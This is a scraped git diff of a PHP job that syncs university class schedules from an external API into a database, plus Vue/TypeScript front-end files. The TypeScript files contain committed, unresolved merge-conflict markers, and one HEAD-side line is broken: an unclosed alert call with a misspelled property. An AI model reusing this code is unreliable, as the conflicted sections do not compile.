if($debug){
|
||||||
|
echo "<h3>Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."] nivel: ".$per["nivel_id"]."</h3>";
|
||||||
|
//print_r($carreras_rs);
|
||||||
|
}
|
||||||
|
if ($periodo_sgu_old != $per["id_periodo_sgu"]){
|
||||||
|
$periodo_sgu_old = $per["id_periodo_sgu"];
|
||||||
|
$params = [
|
||||||
|
'idPeriodo'=>$per["id_periodo_sgu"],
|
||||||
|
'fecha'=>$hoy
|
||||||
|
];
|
||||||
|
|
||||||
|
$curl = curl_init();
|
||||||
|
curl_setopt_array($curl, [
|
||||||
|
CURLOPT_URL => $pag,
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
//CURLOPT_ENCODING => "",
|
||||||
|
//CURLOPT_MAXREDIRS => 10,
|
||||||
|
//CURLOPT_TIMEOUT => 0,
|
||||||
|
//CURLOPT_CUSTOMREQUEST => "POST",
|
||||||
|
CURLOPT_POSTFIELDS => json_encode($params),
|
||||||
|
CURLOPT_HTTPHEADER => [
|
||||||
|
"token: ".$token,
|
||||||
|
"username: SGU_APSA_AUD_ASIST",
|
||||||
|
"Content-Type: application/json"
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = curl_exec($curl);
|
||||||
|
$err = curl_error($curl);
|
||||||
|
|
||||||
|
/*echo "Response<br>";
|
||||||
|
print_r($response);*/
|
||||||
|
|
||||||
|
curl_close($curl);
|
||||||
|
|
||||||
|
if ($err)
|
||||||
|
die("cURL Error #:$err");
|
||||||
|
}
|
||||||
|
$selectedData = json_decode($response, true);
|
||||||
|
|
||||||
|
//claves de carreras en el periodo
|
||||||
|
$arreglo_claves = array_map(function ($item) {
|
||||||
|
return $item['clave_carrera'];
|
||||||
|
}, $carreras_rs);
|
||||||
|
|
||||||
|
//print_r($selectedData); exit();
|
||||||
|
$sguHash = array();
|
||||||
|
if(!empty($selectedData)){
|
||||||
|
|
||||||
|
//Recorre SGU y genera hash
|
||||||
|
foreach( $selectedData as $row ){
|
||||||
|
if(!$row["EsMateriaPorReposicion"]){
|
||||||
|
$carrera = $row["ClaveCarrera"];
|
||||||
|
if(is_null($carrera) || empty($carrera))
|
||||||
|
$carrera = '0';
|
||||||
|
/*else{
|
||||||
|
if(!$row["EsMateriaPorAsignacion"])
|
||||||
|
$carrera = getCarrera($row["ClaveMateria"]);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
$sguHash[] = array(
|
||||||
|
"hash"=>( trim($row["HoraInicio"]."|".($row["NombreMateria"])."|".(trim($row["ClaveProfesor"])==""?"000000":trim($row["ClaveProfesor"]))."|".$row["IdEspacio"]."|".$per["periodo_id"]) ),
|
||||||
|
"data"=>$row,
|
||||||
|
"per"=>$per["periodo_id"]
|
||||||
|
);
|
||||||
|
}else{//reposición
|
||||||
|
|
||||||
|
if(in_array($row["ClaveCarrera"] , $arreglo_claves)){
|
||||||
|
//busca yyyy-mm-dd hh:mm:ss en la cadena
|
||||||
|
if (preg_match("/\d{4}-\d{2}-\d{2} de \d{2}:\d{2}:\d{2}/", $row["Observaciones"], $matches)) {
|
||||||
|
$fecha_orig = str_replace(" de", "", $matches[0]);
|
||||||
|
$fecha_nueva = $row["FechaStr"]." ".$row["HoraInicio"];
|
||||||
|
$hora_fin_nueva = $row["HoraFin"];
|
||||||
|
if($debug){
|
||||||
|
echo "<br>SELECT * FROM fi_reposicion_sgu('$fecha_orig', '".$hora_fin_nueva."','".$fecha_nueva."' ,'".$row["ClaveProfesor"]."', ".$per["periodo_id"].", ".$row["IdEspacio"].")";
|
||||||
|
}else{
|
||||||
|
$db->query('SELECT * FROM fi_reposicion_sgu(:fecha_orig, :hora_fin, :fecha_rep, :prof, :per, :salon)',
|
||||||
|
[":fecha_orig"=>$fecha_orig, ":hora_fin"=>$hora_fin_nueva, ":fecha_rep"=>$fecha_nueva, ":prof"=>$row["ClaveProfesor"], ":per"=>$per["periodo_id"], ":salon"=>$row["IdEspacio"] ]);
|
||||||
|
$log_desc .="SELECT * FROM fi_reposicion_sgu($fecha_orig, ".$fecha_nueva.", ".$row["ClaveProfesor"].", ".$per["periodo_id"].") ## ";
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
if($debug)
|
||||||
|
echo "No se encontró fecha y hora en: ".$row["Observaciones"]."<br>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
unset($selectedData);
|
||||||
|
}
|
||||||
|
|
||||||
|
echo count($sguHash)."Total <br>";
|
||||||
|
|
||||||
|
$horarios_sgu = [];
|
||||||
|
|
||||||
|
/*
|
||||||
|
print_r($carreras_rs);
|
||||||
|
echo "<br><hr><br>";*/
|
||||||
|
print_r($arreglo_claves);
|
||||||
|
echo "<br><hr><br>";
|
||||||
|
|
||||||
|
//$areacomun = array();
|
||||||
|
foreach($sguHash as $sgu){
|
||||||
|
if(in_array($sgu["data"]["ClaveCarrera"] , $arreglo_claves) /*&& !in_array($sgu["data"]["ClaveMateria"], $areacomun)*/){
|
||||||
|
$horarios_sgu[] = $sgu;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//print_r($horarios_sgu);exit();
|
||||||
|
unset($sguHash);
|
||||||
|
$elementos_sgu_total = array_merge($elementos_sgu_total, $horarios_sgu);
|
||||||
|
|
||||||
|
//Recorre BD y genera hash
|
||||||
|
$horarios_rs = $db->query('SELECT * FROM fs_horarios_hash(:dia, :periodo, :fecha)',
|
||||||
|
[':dia' => $dia_hoy, ':periodo' => $per["periodo_id"], ':fecha'=>$hoy]);
|
||||||
|
//echo "**** SELECT * FROM fs_horarios_hash($dia_hoy, ".$per["periodo_id"].")<br>";
|
||||||
|
|
||||||
|
//usort($horarios_rs, 'compareByHash');
|
||||||
|
$elementos_bd_total = array_merge($elementos_bd_total, $horarios_rs);
|
||||||
|
|
||||||
|
}//foreach periodo
|
||||||
|
//print_r($elementos_sgu_total);
|
||||||
|
//exit();
|
||||||
|
if($debug){
|
||||||
|
echo "<h3>Resumen</h3>";
|
||||||
|
echo "<h5>SGU [".count($elementos_sgu_total)."]</h5>";
|
||||||
|
echo "<h5>BD [".count($elementos_bd_total)."]</h5>";
|
||||||
|
}
|
||||||
|
// Extraer los "hash" de $lista y $lista2 en arreglos separados
|
||||||
|
$hashes_sgu = array_column($elementos_sgu_total, 'hash');
|
||||||
|
$hashes_bd = array_column($elementos_bd_total, 'hash');
|
||||||
|
|
||||||
|
|
||||||
|
//print_r($elementos_sgu_total);
|
||||||
|
|
||||||
|
//------------------
|
||||||
|
// Encontrar los "hash" que están en $sgu pero no están en $bd
|
||||||
|
$hashes_no_en_sgu = array_diff($hashes_bd, $hashes_sgu);
|
||||||
|
if($debug) echo "hashes_no_en_sgu ".count($hashes_no_en_sgu)."<br>";
|
||||||
|
|
||||||
|
if(count($hashes_no_en_sgu)>0){
|
||||||
|
// Ahora puedes obtener los elementos completos que cumplen la condición original
|
||||||
|
$elementos_no_en_sgu = array_filter($elementos_bd_total, function ($item) use ($hashes_no_en_sgu) {
|
||||||
|
return in_array($item['hash'], $hashes_no_en_sgu);
|
||||||
|
});
|
||||||
|
if($debug){
|
||||||
|
print_r($elementos_no_en_sgu);
|
||||||
|
echo "Sobran ".count($elementos_no_en_sgu)." en BD<br>";
|
||||||
|
}
|
||||||
|
|
||||||
|
//Update fecha_fin
|
||||||
|
$log_desc = "";
|
||||||
|
foreach($elementos_no_en_sgu as $row){
|
||||||
|
if($debug){
|
||||||
|
echo "<br>SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].");";
|
||||||
|
}else{
|
||||||
|
$db->query('SELECT * FROM fu_horario_deshabilita(:horario)', [":horario"=>$row["horario_id"]]);
|
||||||
|
$log_desc .="SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].") ## ";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!$debug && !empty($log_desc)){
|
||||||
|
$log = new LogCambios(__DIR__."/log/");
|
||||||
|
$log->appendLog($log_desc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encontrar los "hash" que están en $sgu pero no están en $bd
|
||||||
|
$hashes_no_en_bd = array_diff($hashes_sgu, $hashes_bd);
|
||||||
|
|
||||||
|
//echo "hashes_no_en_bd ".count($hashes_no_en_bd)."<br>";
|
||||||
|
|
||||||
|
|
||||||
|
if(count($hashes_no_en_bd)>0){
|
||||||
|
// Ahora puedes obtener los elementos completos que cumplen la condición original
|
||||||
|
$elementos_no_en_bd = array_filter($elementos_sgu_total, function ($item) use ($hashes_no_en_bd) {
|
||||||
|
return in_array($item['hash'], $hashes_no_en_bd);
|
||||||
|
});
|
||||||
|
if($debug){
|
||||||
|
echo "<br>Faltan ".count($elementos_no_en_bd)." en BD<br>";
|
||||||
|
print_r($elementos_no_en_bd); echo "<br>";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Inserts
|
||||||
|
foreach($elementos_no_en_bd as $row){
|
||||||
|
if($row["data"]["ClaveMateria"] == "-")
|
||||||
|
$row["data"]["ClaveMateria"] = "";
|
||||||
|
if($debug){
|
||||||
|
echo "<br>SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','"
|
||||||
|
.$row["data"]["ClaveDependencia"]."','"
|
||||||
|
.$row["data"]["ClaveCarrera"]."','"
|
||||||
|
.$row["data"]["NombreMateria"]."','"
|
||||||
|
.$row["data"]["ClaveMateria"]."','"
|
||||||
|
.$row["data"]["ClaveProfesor"]."','"
|
||||||
|
.$row["data"]["NombreProfesor"]."','"
|
||||||
|
.$row["data"]["CorreoElectronico"]."','"
|
||||||
|
.$row["data"]["Grupo"]."',"
|
||||||
|
.$row["data"]["IdEspacio"].","
|
||||||
|
.$row["per"].");";
|
||||||
|
if($row["data"]["EsMateriaPorAsignacion"]){ echo " ***Asignacion directa***";}
|
||||||
|
}else{
|
||||||
|
$horario_new_rs = $db->querySingle('SELECT * FROM fi_horario(:hoy, :ini, :fin, :dep, :carr, :nom_mat, :cve_mat, :cve_prof, :nom_prof, :correo, :gpo, :espacio, :periodo)',
|
||||||
|
[":hoy"=>$dia_hoy,
|
||||||
|
":ini"=>$row["data"]["HoraInicio"],
|
||||||
|
":fin"=>$row["data"]["HoraFin"],
|
||||||
|
":dep"=>$row["data"]["ClaveDependencia"],
|
||||||
|
":carr"=>$row["data"]["ClaveCarrera"],
|
||||||
|
":nom_mat"=>$row["data"]["NombreMateria"],
|
||||||
|
":cve_mat"=>$row["data"]["ClaveMateria"],
|
||||||
|
":cve_prof"=>$row["data"]["ClaveProfesor"]==""?"000000":$row["data"]["ClaveProfesor"],
|
||||||
|
":nom_prof"=>$row["data"]["NombreProfesor"],
|
||||||
|
":correo"=>$row["data"]["CorreoElectronico"],
|
||||||
|
":gpo"=>$row["data"]["Grupo"],
|
||||||
|
":espacio"=>$row["data"]["IdEspacio"],
|
||||||
|
":periodo"=>$row["per"]
|
||||||
|
]
|
||||||
|
);
|
||||||
|
//echo $horario_new_rs["fi_horario"]."<br>";
|
||||||
|
if($horario_new_rs["fi_horario"] > 0){
|
||||||
|
if($row["data"]["EsMateriaPorAsignacion"]){
|
||||||
|
$matasig_rs = $db->querySingle('SELECT * FROM fi_materia_asignacion(:hor,:mat,:carr, :prof)',
|
||||||
|
[":hor"=>$horario_new_rs["fi_horario"],
|
||||||
|
":mat"=>$row["data"]["NombreMateria"],
|
||||||
|
":carr"=>$row["data"]["Carrera"],
|
||||||
|
":prof"=>$row["data"]["NombreProfesor"]
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$log_desc .="SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','"
|
||||||
|
.$row["data"]["ClaveDependencia"]."','"
|
||||||
|
.$row["data"]["ClaveCarrera"]."','"
|
||||||
|
.$row["data"]["NombreMateria"]."','"
|
||||||
|
.$row["data"]["ClaveMateria"]."','"
|
||||||
|
.$row["data"]["ClaveProfesor"]."','"
|
||||||
|
.$row["data"]["NombreProfesor"]."','"
|
||||||
|
.$row["data"]["CorreoElectronico"]."','"
|
||||||
|
.$row["data"]["Grupo"]."',"
|
||||||
|
.$row["data"]["IdEspacio"]."); [ID=".$horario_new_rs["fi_horario"]."] ##";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!$debug && !empty($log_desc)){
|
||||||
|
$log = new LogCambios(__DIR__."/log/");
|
||||||
|
$log->appendLog($log_desc);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
$stmt = null; // cierra conexion
|
||||||
|
|
||||||
|
if($debug) {
|
||||||
|
echo "<br><br><hr><br><br>";
|
||||||
|
usort($elementos_sgu_total, 'compareByHash');
|
||||||
|
usort($elementos_bd_total, 'compareByHash');
|
||||||
|
|
||||||
|
echo "<table><tr>";
|
||||||
|
echo "<td valign='top'>";
|
||||||
|
echo "<h5>SGU [".count($elementos_sgu_total)."]</h5>";
|
||||||
|
foreach($elementos_sgu_total as $sgu){
|
||||||
|
echo $sgu["hash"]."<br>";
|
||||||
|
}
|
||||||
|
echo "</td>";
|
||||||
|
echo "<td valign='top'>";
|
||||||
|
echo "<h5>BD [".count($elementos_bd_total)."]</h5>";
|
||||||
|
foreach($elementos_bd_total as $sgu){
|
||||||
|
echo $sgu["hash"]." [".$sgu["horario_id"]."]<br>";
|
||||||
|
}
|
||||||
|
echo "</td>";
|
||||||
|
echo "</tr></table>";
|
||||||
|
}else{
|
||||||
|
$pdo->commit();
|
||||||
|
echo "Commit";
|
||||||
|
}
|
||||||
|
} catch(PDOException $e) {
|
||||||
|
echo "Error";
|
||||||
|
"ERROR BD! ".$e->getMessage();
|
||||||
|
$pdo->rollBack();
|
||||||
|
if(!$debug){
|
||||||
|
$log = new LogCambios(__DIR__."/log/");
|
||||||
|
$log->appendLog("ERROR BD! ".$e->getMessage());
|
||||||
|
}
|
||||||
|
print_r($e->getMessage());
|
||||||
|
} catch(Exception $e2){
|
||||||
|
echo "Error";
|
||||||
|
print_r($e2->getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
?>
|
||||||
@@ -77,7 +77,10 @@ $('div.modal#cargando').modal({
|
|||||||
|
|
||||||
const store = reactive({
|
const store = reactive({
|
||||||
loading: false,
|
loading: false,
|
||||||
|
<<<<<<< HEAD
|
||||||
|
=======
|
||||||
perido: null as Periodo | null,
|
perido: null as Periodo | null,
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
current: {
|
current: {
|
||||||
comentario: '',
|
comentario: '',
|
||||||
clase_vista: null,
|
clase_vista: null,
|
||||||
@@ -217,8 +220,13 @@ const store = reactive({
|
|||||||
registro_fecha_justificacion: Date;
|
registro_fecha_justificacion: Date;
|
||||||
};
|
};
|
||||||
try {
|
try {
|
||||||
|
<<<<<<< HEAD
|
||||||
|
const res = await fetch('action/action_justificar.php', {
|
||||||
|
method: 'PUT',
|
||||||
|
=======
|
||||||
const res = await fetch('action/justificar.php', {
|
const res = await fetch('action/justificar.php', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
headers: {
|
headers: {
|
||||||
'Content-Type': 'application/json'
|
'Content-Type': 'application/json'
|
||||||
},
|
},
|
||||||
@@ -238,6 +246,8 @@ const store = reactive({
|
|||||||
store.current.justificada.justificador_rol = data.justificador_rol
|
store.current.justificada.justificador_rol = data.justificador_rol
|
||||||
store.current.justificada.registro_fecha_justificacion = data.registro_fecha_justificacion
|
store.current.justificada.registro_fecha_justificacion = data.registro_fecha_justificacion
|
||||||
},
|
},
|
||||||
|
<<<<<<< HEAD
|
||||||
|
=======
|
||||||
async justificarBloque(fecha: Date, bloques: Array<number>, justificacion: string) {
|
async justificarBloque(fecha: Date, bloques: Array<number>, justificacion: string) {
|
||||||
if (bloques.length === 0) {
|
if (bloques.length === 0) {
|
||||||
alert('No se ha seleccionado ningún bloque');
|
alert('No se ha seleccionado ningún bloque');
|
||||||
@@ -273,6 +283,7 @@ const store = reactive({
|
|||||||
alert('Error al justificar');
|
alert('Error al justificar');
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
registros: {
|
registros: {
|
||||||
data: [] as Registro[],
|
data: [] as Registro[],
|
||||||
async fetch(fecha?: Date, fecha_inicio?: Date, fecha_fin?: Date) {
|
async fetch(fecha?: Date, fecha_inicio?: Date, fecha_fin?: Date) {
|
||||||
@@ -320,7 +331,11 @@ const store = reactive({
|
|||||||
if one of the filters is null, then it is not relevant
|
if one of the filters is null, then it is not relevant
|
||||||
|
|
||||||
*/
|
*/
|
||||||
|
<<<<<<< HEAD
|
||||||
|
const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0 )
|
||||||
|
=======
|
||||||
const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0)
|
const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0)
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
return this.data.filter((registro: Registro) => {
|
return this.data.filter((registro: Registro) => {
|
||||||
return filters.every((filtro) => {
|
return filters.every((filtro) => {
|
||||||
switch (filtro) {
|
switch (filtro) {
|
||||||
@@ -401,7 +416,10 @@ type Profesor = {
|
|||||||
}
|
}
|
||||||
createApp({
|
createApp({
|
||||||
store,
|
store,
|
||||||
|
<<<<<<< HEAD
|
||||||
|
=======
|
||||||
messages: [] as Array<{ title: string, text: string, type: string, timestamp: string }>,
|
messages: [] as Array<{ title: string, text: string, type: string, timestamp: string }>,
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
get clase_vista() {
|
get clase_vista() {
|
||||||
return store.current.clase_vista
|
return store.current.clase_vista
|
||||||
},
|
},
|
||||||
@@ -418,6 +436,17 @@ createApp({
|
|||||||
profesores: [] as Profesor[],
|
profesores: [] as Profesor[],
|
||||||
async mounted() {
|
async mounted() {
|
||||||
$('div.modal#cargando').modal('show');
|
$('div.modal#cargando').modal('show');
|
||||||
|
<<<<<<< HEAD
|
||||||
|
|
||||||
|
// await store.registros.fetch()
|
||||||
|
await store.facultades.fetch()
|
||||||
|
await store.estados.fetch()
|
||||||
|
await store.bloques_horario.fetch()
|
||||||
|
await store.filters.switchFechas()
|
||||||
|
this.profesores = await (await fetch('action/action_profesor.php')).json() as Profesor[];
|
||||||
|
|
||||||
|
$('div.modal#cargando').modal('hide');
|
||||||
|
=======
|
||||||
try {
|
try {
|
||||||
|
|
||||||
// await store.registros.fetch()
|
// await store.registros.fetch()
|
||||||
@@ -435,5 +464,6 @@ createApp({
|
|||||||
finally {
|
finally {
|
||||||
$('div.modal#cargando').modal('hide');
|
$('div.modal#cargando').modal('hide');
|
||||||
}
|
}
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
}
|
}
|
||||||
}).mount('#app')
|
}).mount('#app')
|
||||||
|
|||||||
@@ -23,7 +23,12 @@ const app = createApp({
|
|||||||
},
|
},
|
||||||
|
|
||||||
async refresh() {
|
async refresh() {
|
||||||
|
<<<<<<< HEAD
|
||||||
|
alert(`Facultad: ${filter.facultad} - Profesor: ${filter.profesor} - Porcentaje: ${filter.porcentaje}%`
|
||||||
|
if(filter.facultad == -1 || filter.porcetaje < 10) {
|
||||||
|
=======
|
||||||
if(filter.facultad == -1 || filter.porcentaje < 10) {
|
if(filter.facultad == -1 || filter.porcentaje < 10) {
|
||||||
|
>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user